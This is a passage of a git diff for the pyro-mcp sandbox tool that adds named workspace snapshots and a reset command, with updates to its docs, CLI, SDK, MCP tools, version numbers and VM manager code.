works, you can move on to: - persistent workspaces: `pyro workspace create debian:12 --seed-path ./repo` - live workspace updates: `pyro workspace sync push WORKSPACE_ID ./changes` - baseline diff: `pyro workspace diff WORKSPACE_ID` +- snapshots and reset: `pyro workspace snapshot create WORKSPACE_ID checkpoint` and `pyro workspace reset WORKSPACE_ID --snapshot checkpoint` - host export: `pyro workspace export WORKSPACE_ID note.txt --output ./note.txt` - interactive shells: `pyro workspace shell open WORKSPACE_ID` - long-running services: `pyro workspace service start WORKSPACE_ID app --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done'` @@ -193,6 +194,9 @@ pyro workspace create debian:12 --seed-path ./repo pyro workspace sync push WORKSPACE_ID ./changes --dest src pyro workspace exec WORKSPACE_ID -- cat src/note.txt pyro workspace diff WORKSPACE_ID +pyro workspace snapshot create WORKSPACE_ID checkpoint +pyro workspace reset WORKSPACE_ID --snapshot checkpoint +pyro workspace reset WORKSPACE_ID pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt pyro workspace shell open WORKSPACE_ID pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' @@ -213,9 +217,10 @@ Workspace commands default to the persistent `/workspace` directory inside the g the identifier programmatically, use `--json` and read the `workspace_id` field. Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. Use `pyro workspace sync push` for later host-side changes to a started workspace. Sync -is non-atomic in `2.7.0`; if it fails partway through, delete and recreate the workspace from its -seed. Use `pyro workspace diff` to compare the current workspace tree to its immutable create-time -baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use +is non-atomic in `2.8.0`; if it fails partway through, prefer `pyro workspace reset` to recover +from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current workspace +tree to its immutable create-time baseline, `pyro workspace snapshot *` to capture named +checkpoints, and `pyro workspace export` to copy one changed file or directory back to the host. Use `pyro workspace exec` for one-shot commands and `pyro workspace shell *` when you need an interactive PTY that survives across separate calls. Use `pyro workspace service *` when the workspace needs long-running background processes with typed readiness probes. Service metadata and diff --git a/docs/public-contract.md b/docs/public-contract.md index 8f4d5af..4e06343 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -24,6 +24,10 @@ Top-level commands: - `pyro workspace exec` - `pyro workspace export` - `pyro workspace diff` +- `pyro workspace snapshot create` +- `pyro workspace snapshot list` +- `pyro workspace snapshot delete` +- `pyro workspace reset` - `pyro workspace service start` - `pyro workspace service list` - `pyro workspace service status` @@ -63,11 +67,14 @@ Behavioral guarantees: - `pyro workspace sync push WORKSPACE_ID SOURCE_PATH [--dest WORKSPACE_PATH]` imports later host-side directory or archive content into a started workspace. - `pyro workspace export WORKSPACE_ID PATH --output HOST_PATH` exports one file or directory from `/workspace` back to the host. - `pyro workspace diff WORKSPACE_ID` compares the current `/workspace` tree to the immutable create-time baseline. +- `pyro workspace snapshot *` manages explicit named snapshots in addition to the implicit `baseline`. +- `pyro workspace reset WORKSPACE_ID [--snapshot SNAPSHOT_NAME|baseline]` recreates the full sandbox and restores `/workspace` from the chosen snapshot. - `pyro workspace service *` manages long-running named services inside one started workspace with typed readiness probes. - `pyro workspace exec` runs in the persistent `/workspace` for that workspace and does not auto-clean. - `pyro workspace shell *` manages persistent PTY sessions inside a started workspace. - `pyro workspace logs` returns persisted command history for that workspace until `pyro workspace delete`. - Workspace create/status results expose `workspace_seed` metadata describing how `/workspace` was initialized. +- Workspace create/status/reset results expose `reset_count` and `last_reset_at`. - `pyro workspace status` includes aggregate `service_count` and `running_service_count` fields. ## Python SDK Contract @@ -89,6 +96,10 @@ Supported public entrypoints: - `Pyro.push_workspace_sync(workspace_id, source_path, *, dest="/workspace")` - `Pyro.export_workspace(workspace_id, path, *, output_path)` - `Pyro.diff_workspace(workspace_id)` +- `Pyro.create_snapshot(workspace_id, snapshot_name)` +- `Pyro.list_snapshots(workspace_id)` +- `Pyro.delete_snapshot(workspace_id, snapshot_name)` +- `Pyro.reset_workspace(workspace_id, *, snapshot="baseline")` - `Pyro.start_service(workspace_id, service_name, *, command, cwd="/workspace", readiness=None, ready_timeout_seconds=30, ready_interval_ms=500)` - `Pyro.list_services(workspace_id)` - `Pyro.status_service(workspace_id, service_name)` @@ -124,6 +135,10 @@ Stable public method names: - `push_workspace_sync(workspace_id, source_path, *, dest="/workspace")` - `export_workspace(workspace_id, path, *, output_path)` - `diff_workspace(workspace_id)` +- `create_snapshot(workspace_id, snapshot_name)` +- `list_snapshots(workspace_id)` +- `delete_snapshot(workspace_id, snapshot_name)` +- `reset_workspace(workspace_id, *, snapshot="baseline")` - `start_service(workspace_id, service_name, *, command, cwd="/workspace", readiness=None, ready_timeout_seconds=30, ready_interval_ms=500)` - `list_services(workspace_id)` - `status_service(workspace_id, service_name)` @@ -157,6 +172,10 @@ Behavioral defaults: - `Pyro.push_workspace_sync(...)` imports later host-side directory or archive content into a started workspace. - `Pyro.export_workspace(...)` exports one file or directory from `/workspace` to an explicit host path. - `Pyro.diff_workspace(...)` compares the current `/workspace` tree to the immutable create-time baseline. +- `Pyro.create_snapshot(...)` captures one named `/workspace` checkpoint. +- `Pyro.list_snapshots(...)` lists the implicit `baseline` plus any named snapshots. +- `Pyro.delete_snapshot(...)` deletes one named snapshot while leaving `baseline` intact. +- `Pyro.reset_workspace(...)` recreates the full sandbox from `baseline` or one named snapshot and clears command, shell, and service history. - `Pyro.start_service(...)` starts one named long-running process in a started workspace and waits for its typed readiness probe when configured. - `Pyro.list_services(...)`, `Pyro.status_service(...)`, `Pyro.logs_service(...)`, and `Pyro.stop_service(...)` manage those persisted workspace services. - `Pyro.exec_vm(...)` runs one command and auto-cleans that VM after the exec completes. @@ -190,6 +209,10 @@ Persistent workspace tools: - `workspace_exec` - `workspace_export` - `workspace_diff` +- `snapshot_create` +- `snapshot_list` +- `snapshot_delete` +- `workspace_reset` - `service_start` - `service_list` - `service_status` @@ -214,6 +237,8 @@ Behavioral defaults: - `workspace_sync_push` imports later host-side directory or archive content into a started workspace, with an optional `dest` under `/workspace`. - `workspace_export` exports one file or directory from `/workspace` to an explicit host path. - `workspace_diff` compares the current `/workspace` tree to the immutable create-time baseline. +- `snapshot_create`, `snapshot_list`, and `snapshot_delete` manage explicit named snapshots in addition to the implicit `baseline`. +- `workspace_reset` recreates the full sandbox and restores `/workspace` from `baseline` or one named snapshot. - `service_start`, `service_list`, `service_status`, `service_logs`, and `service_stop` manage persistent named services inside a started workspace. - `vm_exec` runs one command and auto-cleans that VM after the exec completes. - `workspace_exec` runs one command in a persistent `/workspace` and leaves the workspace alive. diff --git a/docs/roadmap/task-workspace-ga.md b/docs/roadmap/task-workspace-ga.md index 91702dc..a8461c8 100644 --- a/docs/roadmap/task-workspace-ga.md +++ b/docs/roadmap/task-workspace-ga.md @@ -2,14 +2,15 @@ This roadmap turns the agent-workspace vision into release-sized milestones. -Current baseline is `2.7.0`: +Current baseline is `2.8.0`: - workspace persistence exists and the public surface is now workspace-first - host crossing currently covers create-time seeding, later sync push, and explicit export - persistent PTY shell sessions exist alongside one-shot `workspace exec` - immutable create-time baselines now power whole-workspace diff - multi-service lifecycle exists with typed readiness and aggregate workspace status counts -- no snapshot, reset, or secrets contract exists yet +- named snapshots and full workspace reset now exist +- no secrets or explicit host port publication contract exists yet Locked roadmap decisions: @@ -32,7 +33,7 @@ also expected to update: 2. [`2.5.0` PTY Shell Sessions](task-workspace-ga/2.5.0-pty-shell-sessions.md) - Done 3. [`2.6.0` Structured Export And Baseline Diff](task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md) - Done 4. [`2.7.0` Service Lifecycle And Typed Readiness](task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md) - Done -5. [`2.8.0` Named Snapshots And Reset](task-workspace-ga/2.8.0-named-snapshots-and-reset.md) +5. [`2.8.0` Named Snapshots And Reset](task-workspace-ga/2.8.0-named-snapshots-and-reset.md) - Done 6. [`2.9.0` Secrets](task-workspace-ga/2.9.0-secrets.md) 7. [`2.10.0` Network Policy And Host Port Publication](task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md) 8. [`3.0.0` Stable Workspace Product](task-workspace-ga/3.0.0-stable-workspace-product.md) diff --git a/docs/roadmap/task-workspace-ga/2.8.0-named-snapshots-and-reset.md b/docs/roadmap/task-workspace-ga/2.8.0-named-snapshots-and-reset.md index 0a0ec16..21de48c 100644 --- a/docs/roadmap/task-workspace-ga/2.8.0-named-snapshots-and-reset.md +++ b/docs/roadmap/task-workspace-ga/2.8.0-named-snapshots-and-reset.md @@ -1,5 +1,7 @@ # `2.8.0` Named Snapshots And Reset +Status: Done + ## Goal Turn reset into a first-class workflow primitive and add explicit named diff --git a/examples/python_workspace.py b/examples/python_workspace.py index f6393a8..f26957a 100644 --- a/examples/python_workspace.py +++ b/examples/python_workspace.py @@ -23,6 +23,8 @@ def main() -> None: print(result["stdout"], end="") diff_result = pyro.diff_workspace(workspace_id) print(f"changed={diff_result['changed']} total={diff_result['summary']['total']}") + snapshot = pyro.create_snapshot(workspace_id, "checkpoint") + print(snapshot["snapshot"]["snapshot_name"]) exported_path = Path(export_dir, "note.txt") pyro.export_workspace(workspace_id, "note.txt", output_path=exported_path) print(exported_path.read_text(encoding="utf-8"), end="") @@ -39,6 +41,8 @@ def main() -> None: service_logs = pyro.logs_service(workspace_id, "web", tail_lines=20) print(f"service_stdout_len={len(service_logs['stdout'])}") pyro.stop_service(workspace_id, "web") + reset = pyro.reset_workspace(workspace_id, snapshot="checkpoint") + print(f"reset_count={reset['reset_count']}") logs = pyro.logs_workspace(workspace_id) print(f"workspace_id={workspace_id} command_count={logs['count']}") finally: diff --git a/pyproject.toml b/pyproject.toml index 6d5b25c..ed8a41d 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "2.7.0" +version = "2.8.0" description = "Ephemeral Firecracker sandboxes with curated environments, persistent workspaces, and MCP tools." readme = "README.md" license = { file = "LICENSE" } diff --git a/src/pyro_mcp/api.py b/src/pyro_mcp/api.py index a364c78..0e5ea1e 100644 --- a/src/pyro_mcp/api.py +++ b/src/pyro_mcp/api.py @@ -146,6 +146,23 @@ class Pyro: def diff_workspace(self, workspace_id: str) -> dict[str, Any]: return self._manager.diff_workspace(workspace_id) + def create_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: + return self._manager.create_snapshot(workspace_id, snapshot_name) + + def list_snapshots(self, workspace_id: str) -> dict[str, Any]: + return self._manager.list_snapshots(workspace_id) + + def delete_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: + return self._manager.delete_snapshot(workspace_id, snapshot_name) + + def reset_workspace( + self, + workspace_id: str, + *, + snapshot: str = "baseline", + ) -> dict[str, Any]: + return self._manager.reset_workspace(workspace_id, snapshot=snapshot) + def open_shell( self, workspace_id: str, @@ -444,6 +461,29 @@ class Pyro: """Compare `/workspace` to the immutable create-time baseline.""" return self.diff_workspace(workspace_id) + @server.tool() + async def snapshot_create(workspace_id: str, snapshot_name: str) -> dict[str, Any]: + """Create one named workspace snapshot from the current `/workspace` tree.""" + return self.create_snapshot(workspace_id, snapshot_name) + + @server.tool() + async def snapshot_list(workspace_id: str) -> dict[str, Any]: + """List the baseline plus named snapshots for one workspace.""" + return self.list_snapshots(workspace_id) + + @server.tool() + async def snapshot_delete(workspace_id: str, snapshot_name: str) -> dict[str, Any]: + """Delete one named snapshot from a workspace.""" + return self.delete_snapshot(workspace_id, snapshot_name) + + @server.tool() + async def workspace_reset( + workspace_id: str, + snapshot: str = "baseline", + ) -> dict[str, Any]: + """Recreate a workspace and restore `/workspace` from baseline or one named snapshot.""" + return self.reset_workspace(workspace_id, snapshot=snapshot) + @server.tool() async def shell_open( workspace_id: str, diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index 9e7a319..b80c153 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -174,6 +174,10 @@ def _print_workspace_summary_human(payload: dict[str, Any], *, action: str) -> N f"{int(payload.get('mem_mib', 0))} MiB" ) print(f"Command count: {int(payload.get('command_count', 0))}") + print(f"Reset count: {int(payload.get('reset_count', 0))}") + last_reset_at = payload.get("last_reset_at") + if last_reset_at is not None: + print(f"Last reset at: {last_reset_at}") print( "Services: " f"{int(payload.get('running_service_count', 0))}/" @@ -281,6 +285,55 @@ def _print_workspace_logs_human(payload: dict[str, Any]) -> None: print(stderr, end="" if stderr.endswith("\n") else "\n", file=sys.stderr) +def _print_workspace_snapshot_human(payload: dict[str, Any], *, prefix: str) -> None: + snapshot = payload.get("snapshot") + if not isinstance(snapshot, dict): + print(f"[{prefix}] workspace_id={str(payload.get('workspace_id', 'unknown'))}") + return + print( + f"[{prefix}] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"snapshot_name={str(snapshot.get('snapshot_name', 'unknown'))} " + f"kind={str(snapshot.get('kind', 'unknown'))} " + f"entry_count={int(snapshot.get('entry_count', 0))} " + f"bytes_written={int(snapshot.get('bytes_written', 0))}" + ) + + +def _print_workspace_snapshot_list_human(payload: dict[str, Any]) -> None: + snapshots = payload.get("snapshots") + if not isinstance(snapshots, list) or not snapshots: + print("No workspace snapshots found.") + return + for snapshot in snapshots: + if not isinstance(snapshot, dict): + continue + print( + f"{str(snapshot.get('snapshot_name', 'unknown'))} " + f"[{str(snapshot.get('kind', 'unknown'))}] " + f"entry_count={int(snapshot.get('entry_count', 0))} " + f"bytes_written={int(snapshot.get('bytes_written', 0))} " + f"deletable={'yes' if bool(snapshot.get('deletable', False)) else 'no'}" + ) + + +def _print_workspace_reset_human(payload: dict[str, Any]) -> None: + _print_workspace_summary_human(payload, action="Reset workspace") + workspace_reset = payload.get("workspace_reset") + if isinstance(workspace_reset, dict): + print( + "Reset source: " + f"{str(workspace_reset.get('snapshot_name', 'unknown'))} " + f"({str(workspace_reset.get('kind', 'unknown'))})" + ) + print( + "Reset restore: " + f"destination={str(workspace_reset.get('destination', WORKSPACE_GUEST_PATH))} " + f"entry_count={int(workspace_reset.get('entry_count', 0))} " + f"bytes_written={int(workspace_reset.get('bytes_written', 0))}" + ) + + def _print_workspace_shell_summary_human(payload: dict[str, Any], *, prefix: str) -> None: print( f"[{prefix}] " @@ -592,6 +645,8 @@ def _build_parser() -> argparse.ArgumentParser: pyro workspace create debian:12 --seed-path ./repo pyro workspace sync push WORKSPACE_ID ./repo --dest src pyro workspace exec WORKSPACE_ID -- sh -lc 'printf "hello\\n" > note.txt' + pyro workspace snapshot create WORKSPACE_ID checkpoint + pyro workspace reset WORKSPACE_ID --snapshot checkpoint pyro workspace diff WORKSPACE_ID pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt pyro workspace shell open WORKSPACE_ID @@ -617,6 +672,8 @@ def _build_parser() -> argparse.ArgumentParser: pyro workspace create debian:12 pyro workspace create debian:12 --seed-path ./repo pyro workspace sync push WORKSPACE_ID ./changes + pyro workspace snapshot create WORKSPACE_ID checkpoint + pyro workspace reset WORKSPACE_ID --snapshot checkpoint pyro workspace diff WORKSPACE_ID pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ sh -lc 'touch .ready && while true; do sleep 60; done' @@ -720,7 +777,8 @@ def _build_parser() -> argparse.ArgumentParser: pyro workspace sync push WORKSPACE_ID ./repo pyro workspace sync push WORKSPACE_ID ./patches --dest src - Sync is non-atomic. If a sync fails partway through, delete and recreate the workspace. + Sync is non-atomic. If a sync fails partway through, prefer reset over repair with + `pyro workspace reset WORKSPACE_ID`. """ ), formatter_class=_HelpFormatter, @@ -808,6 +866,100 @@ def _build_parser() -> argparse.ArgumentParser: action="store_true", help="Print structured JSON instead of human-readable output.", ) + workspace_snapshot_parser = workspace_subparsers.add_parser( + "snapshot", + help="Create, list, and delete workspace snapshots.", + description=( + "Manage explicit named snapshots in addition to the implicit create-time baseline." + ), + epilog=dedent( + """ + Examples: + pyro workspace snapshot create WORKSPACE_ID checkpoint + pyro workspace snapshot list WORKSPACE_ID + pyro workspace snapshot delete WORKSPACE_ID checkpoint + + Use `workspace reset` to restore `/workspace` from `baseline` or one named snapshot. + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_snapshot_subparsers = workspace_snapshot_parser.add_subparsers( + dest="workspace_snapshot_command", + required=True, + metavar="SNAPSHOT", + ) + workspace_snapshot_create_parser = workspace_snapshot_subparsers.add_parser( + "create", + help="Create one named snapshot from the current workspace.", + description="Capture the current `/workspace` tree as one named snapshot.", + epilog="Example:\n pyro workspace snapshot create WORKSPACE_ID checkpoint", + formatter_class=_HelpFormatter, + ) + workspace_snapshot_create_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_snapshot_create_parser.add_argument("snapshot_name", metavar="SNAPSHOT_NAME") + workspace_snapshot_create_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_snapshot_list_parser = workspace_snapshot_subparsers.add_parser( + "list", + help="List the baseline plus named snapshots.", + description="List the implicit baseline snapshot plus any named snapshots for a workspace.", + epilog="Example:\n pyro workspace snapshot list WORKSPACE_ID", + formatter_class=_HelpFormatter, + ) + workspace_snapshot_list_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_snapshot_list_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_snapshot_delete_parser = workspace_snapshot_subparsers.add_parser( + "delete", + help="Delete one named snapshot.", + description="Delete one named snapshot while leaving the implicit baseline intact.", + epilog="Example:\n pyro workspace snapshot delete WORKSPACE_ID checkpoint", + formatter_class=_HelpFormatter, + ) + workspace_snapshot_delete_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_snapshot_delete_parser.add_argument("snapshot_name", metavar="SNAPSHOT_NAME") + workspace_snapshot_delete_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_reset_parser = workspace_subparsers.add_parser( + "reset", + help="Recreate a workspace from baseline or one named snapshot.", + description=( + "Recreate the full sandbox and restore `/workspace` from the baseline " + "or one named snapshot." + ), + epilog=dedent( + """ + Examples: + pyro workspace reset WORKSPACE_ID + pyro workspace reset WORKSPACE_ID --snapshot checkpoint + + Prefer reset over repair: reset clears command history, shells, and services so the + workspace comes back clean from `baseline` or one named snapshot. + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_reset_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_reset_parser.add_argument( + "--snapshot", + default="baseline", + help="Snapshot name to restore. Defaults to the implicit `baseline` snapshot.", + ) + workspace_reset_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) workspace_shell_parser = workspace_subparsers.add_parser( "shell", help="Open and manage persistent interactive shells.", @@ -1483,6 +1635,72 @@ def main() -> None: raise SystemExit(1) from exc _print_workspace_diff_human(payload) return + if args.workspace_command == "snapshot": + if args.workspace_snapshot_command == "create": + try: + payload = pyro.create_snapshot(args.workspace_id, args.snapshot_name) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_snapshot_human( + payload, + prefix="workspace-snapshot-create", + ) + return + if args.workspace_snapshot_command == "list": + try: + payload = pyro.list_snapshots(args.workspace_id) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_snapshot_list_human(payload) + return + if args.workspace_snapshot_command == "delete": + try: + payload = pyro.delete_snapshot(args.workspace_id, args.snapshot_name) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + print( + "Deleted workspace snapshot: " + f"{str(payload.get('snapshot_name', 'unknown'))}" + ) + return + if args.workspace_command == "reset": + try: + payload = pyro.reset_workspace( + args.workspace_id, + snapshot=args.snapshot, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_reset_human(payload) + return if args.workspace_command == "shell": if args.workspace_shell_command == "open": try: diff --git a/src/pyro_mcp/contract.py b/src/pyro_mcp/contract.py index 9a16cc3..cd92478 100644 --- a/src/pyro_mcp/contract.py +++ b/src/pyro_mcp/contract.py @@ -12,13 +12,16 @@ PUBLIC_CLI_WORKSPACE_SUBCOMMANDS = ( "exec", "export", "logs", + "reset", "service", "shell", + "snapshot", "status", "sync", ) PUBLIC_CLI_WORKSPACE_SERVICE_SUBCOMMANDS = ("list", "logs", "start", "status", "stop") PUBLIC_CLI_WORKSPACE_SHELL_SUBCOMMANDS = ("close", "open", "read", "signal", "write") +PUBLIC_CLI_WORKSPACE_SNAPSHOT_SUBCOMMANDS = ("create", "delete", "list") PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS = ("push",) PUBLIC_CLI_WORKSPACE_CREATE_FLAGS = ( "--vcpu-count", @@ -31,6 +34,7 @@ PUBLIC_CLI_WORKSPACE_CREATE_FLAGS = ( ) PUBLIC_CLI_WORKSPACE_DIFF_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS = ("--output", "--json") +PUBLIC_CLI_WORKSPACE_RESET_FLAGS = ("--snapshot", "--json") PUBLIC_CLI_WORKSPACE_SERVICE_LIST_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_SERVICE_LOGS_FLAGS = ("--tail-lines", "--all", "--json") PUBLIC_CLI_WORKSPACE_SERVICE_START_FLAGS = ( @@ -50,6 +54,9 @@ PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS = ("--cursor", "--max-chars", "--json") PUBLIC_CLI_WORKSPACE_SHELL_WRITE_FLAGS = ("--input", "--no-newline", "--json") PUBLIC_CLI_WORKSPACE_SHELL_SIGNAL_FLAGS = ("--signal", "--json") PUBLIC_CLI_WORKSPACE_SHELL_CLOSE_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_SNAPSHOT_CREATE_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_SNAPSHOT_DELETE_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_SNAPSHOT_LIST_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS = ("--dest", "--json") PUBLIC_CLI_RUN_FLAGS = ( "--vcpu-count", @@ -64,8 +71,10 @@ PUBLIC_CLI_RUN_FLAGS = ( PUBLIC_SDK_METHODS = ( "close_shell", "create_server", + "create_snapshot", "create_vm", "create_workspace", + "delete_snapshot", "delete_vm", "delete_workspace", "diff_workspace", @@ -75,6 +84,7 @@ PUBLIC_SDK_METHODS = ( "inspect_environment", "list_environments", "list_services", + "list_snapshots", "logs_service", "logs_workspace", "network_info_vm", @@ -84,6 +94,7 @@ PUBLIC_SDK_METHODS = ( "push_workspace_sync", "read_shell", "reap_expired", + "reset_workspace", "run_in_vm", "signal_shell", "start_service", @@ -107,6 +118,9 @@ PUBLIC_MCP_TOOLS = ( "shell_read", "shell_signal", "shell_write", + "snapshot_create", + "snapshot_delete", + "snapshot_list", "vm_create", "vm_delete", "vm_exec", @@ -123,6 +137,7 @@ PUBLIC_MCP_TOOLS = ( "workspace_exec", "workspace_export", "workspace_logs", + "workspace_reset", "workspace_status", "workspace_sync_push", ) diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 2a8ce4c..3611bf1 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "2.7.0" +DEFAULT_CATALOG_VERSION = "2.8.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/src/pyro_mcp/vm_manager.py b/src/pyro_mcp/vm_manager.py index 713769f..9f9cc51 100644 --- a/src/pyro_mcp/vm_manager.py +++ b/src/pyro_mcp/vm_manager.py @@ -49,9 +49,10 @@ DEFAULT_TIMEOUT_SECONDS = 30 DEFAULT_TTL_SECONDS = 600 DEFAULT_ALLOW_HOST_COMPAT = False -WORKSPACE_LAYOUT_VERSION = 4 +WORKSPACE_LAYOUT_VERSION = 5 WORKSPACE_BASELINE_DIRNAME = "baseline" WORKSPACE_BASELINE_ARCHIVE_NAME = "workspace.tar" +WORKSPACE_SNAPSHOTS_DIRNAME = "snapshots" WORKSPACE_DIRNAME = "workspace" WORKSPACE_COMMANDS_DIRNAME = "commands" WORKSPACE_SHELLS_DIRNAME = "shells" @@ -68,10 +69,12 @@ DEFAULT_SERVICE_READY_INTERVAL_MS = 500 DEFAULT_SERVICE_LOG_TAIL_LINES = 200 WORKSPACE_SHELL_SIGNAL_NAMES = shell_signal_names() WORKSPACE_SERVICE_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") +WORKSPACE_SNAPSHOT_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") WorkspaceSeedMode = Literal["empty", "directory", "tar_archive"] WorkspaceArtifactType = Literal["file", "directory", "symlink"] WorkspaceServiceReadinessType = Literal["file", "tcp", "http", "command"] +WorkspaceSnapshotKind = Literal["baseline", "named"] @dataclass @@ -116,6 +119,8 @@ class WorkspaceRecord: command_count: int = 0 last_command: dict[str, Any] | None = None workspace_seed: dict[str, Any] = field(default_factory=dict) + reset_count: int = 0 + last_reset_at: float | None = None @classmethod def from_instance( @@ -144,6 +149,8 @@ class WorkspaceRecord: command_count=command_count, last_command=last_command, workspace_seed=dict(workspace_seed or _empty_workspace_seed_payload()), + reset_count=0, + last_reset_at=None, ) def to_instance(self, *, workdir: Path) -> VmInstance: @@ -185,6 +192,8 @@ class WorkspaceRecord: "command_count": self.command_count, "last_command": self.last_command, "workspace_seed": self.workspace_seed, + "reset_count": self.reset_count, + "last_reset_at": self.last_reset_at, } @classmethod @@ -207,6 +216,46 @@ class WorkspaceRecord: command_count=int(payload.get("command_count", 0)), last_command=_optional_dict(payload.get("last_command")), workspace_seed=_workspace_seed_dict(payload.get("workspace_seed")), + reset_count=int(payload.get("reset_count", 0)), + last_reset_at=( + None + if payload.get("last_reset_at") is None + else float(payload.get("last_reset_at", 0.0)) + ), + ) + + +@dataclass +class WorkspaceSnapshotRecord: + """Persistent snapshot metadata stored on disk per workspace.""" + + workspace_id: str + snapshot_name: str + kind: WorkspaceSnapshotKind + created_at: float + entry_count: int + bytes_written: int + + def to_payload(self) -> dict[str, Any]: + return { + "layout_version": WORKSPACE_LAYOUT_VERSION, + "workspace_id": self.workspace_id, + "snapshot_name": self.snapshot_name, + "kind": self.kind, + "created_at": self.created_at, + "entry_count": self.entry_count, + "bytes_written": self.bytes_written, + } + + @classmethod + def from_payload(cls, payload: dict[str, Any]) -> WorkspaceSnapshotRecord: + return cls( + workspace_id=str(payload["workspace_id"]), + snapshot_name=str(payload["snapshot_name"]), + kind=cast(WorkspaceSnapshotKind, str(payload.get("kind", "named"))), + created_at=float(payload["created_at"]), + entry_count=int(payload.get("entry_count", 0)), + bytes_written=int(payload.get("bytes_written", 0)), ) @@ -864,6 +913,24 @@ def _normalize_workspace_service_name(service_name: str) -> str: return normalized +def _normalize_workspace_snapshot_name( + snapshot_name: str, + *, + allow_baseline: bool = False, +) -> str: + normalized = snapshot_name.strip() + if normalized == "": + raise ValueError("snapshot_name must not be empty") + if normalized == "baseline" and not allow_baseline: + raise ValueError("snapshot_name 'baseline' is reserved") + if WORKSPACE_SNAPSHOT_NAME_RE.fullmatch(normalized) is None: + raise ValueError( + "snapshot_name must match " + r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$" + ) + return normalized + + def _normalize_workspace_service_readiness( readiness: dict[str, Any] | None, ) -> dict[str, Any] | None: @@ -2646,12 +2713,14 @@ class VmManager: commands_dir = self._workspace_commands_dir(workspace_id) shells_dir = self._workspace_shells_dir(workspace_id) services_dir = self._workspace_services_dir(workspace_id) + snapshots_dir = self._workspace_snapshots_dir(workspace_id) baseline_archive_path = self._workspace_baseline_archive_path(workspace_id) workspace_dir.mkdir(parents=True, exist_ok=False) host_workspace_dir.mkdir(parents=True, exist_ok=True) commands_dir.mkdir(parents=True, exist_ok=True) shells_dir.mkdir(parents=True, exist_ok=True) services_dir.mkdir(parents=True, exist_ok=True) + snapshots_dir.mkdir(parents=True, exist_ok=True) _persist_workspace_baseline( prepared_seed, baseline_archive_path=baseline_archive_path, @@ -2859,6 +2928,192 @@ class VmManager: diff_payload["workspace_id"] = workspace_id return diff_payload + def create_snapshot( + self, + workspace_id: str, + snapshot_name: str, + ) -> dict[str, Any]: + normalized_snapshot_name = _normalize_workspace_snapshot_name(snapshot_name) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._workspace_baseline_snapshot_locked(workspace) + if ( + self._load_workspace_snapshot_locked_optional( + workspace_id, + normalized_snapshot_name, + ) + is not None + ): + raise ValueError( + f"snapshot {normalized_snapshot_name!r} already exists in workspace " + f"{workspace_id!r}" + ) + instance = self._workspace_instance_for_live_operation_locked( + workspace, + 